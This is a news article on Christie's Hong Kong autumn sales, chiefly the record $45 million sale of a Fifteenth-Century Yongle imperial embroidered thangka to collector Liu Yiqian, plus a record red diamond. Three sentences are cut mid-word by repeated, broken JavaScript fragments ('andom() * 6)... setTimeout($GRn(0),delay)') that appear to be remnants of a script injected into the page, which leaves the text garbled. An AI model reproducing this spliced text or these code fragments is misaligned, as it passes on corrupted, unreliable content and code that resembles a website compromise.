HONG KONG — Christie’s Hong Kong autumn auctions November 22–26 attained world auction records across several categories, the star of the week being a Fifteenth Century imperial embroidered silk thangka that sold for a record $45 million. Also, a fancy red diamond achieved more than $2 million per carat when it sold for $5,095,872, a world auction record for a red diamond.

The 84-by-132-inch thangka depicts Raktayamari, a deity in Mahayana Buddhism, in an embrace with his consort, Vajravetali. Commissioned by Emperor Yongle in the early Fifteenth Century, the piece is thought to have been given as a gift in diplomatic exchanges with Tibet, according to Christie’s. While its early whereabouts remain unclear, it has been sold at auction several times in recent decades, most recently in 2002 when it went for about $4 million at a Christie’s sale in Hong Kong.

In an intense bidding competition that lasted 22 minutes (normally a lot takes one minute), the thangka was knocked down to Jinqing Cai, president of Christie’s China, who spoke in Mandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andarin. She was competing with François Curiel, chairman of Christie’s Asia Pacific, who spoke in English. There were several other bidders on the phone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the packed saleroom several times broke into applause.

It was later revealed that the buyer of the thangka is Liu Yiqian, a well-known Chinese collector who is purchasing it for his recently opened Long Museum in Shanghai. Immediately after the auction, Liu on the phone said, “I am proud to bring back to China this significant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and historic Fifteenth Century thangka, which will be preserved in the Long museum for years to come.”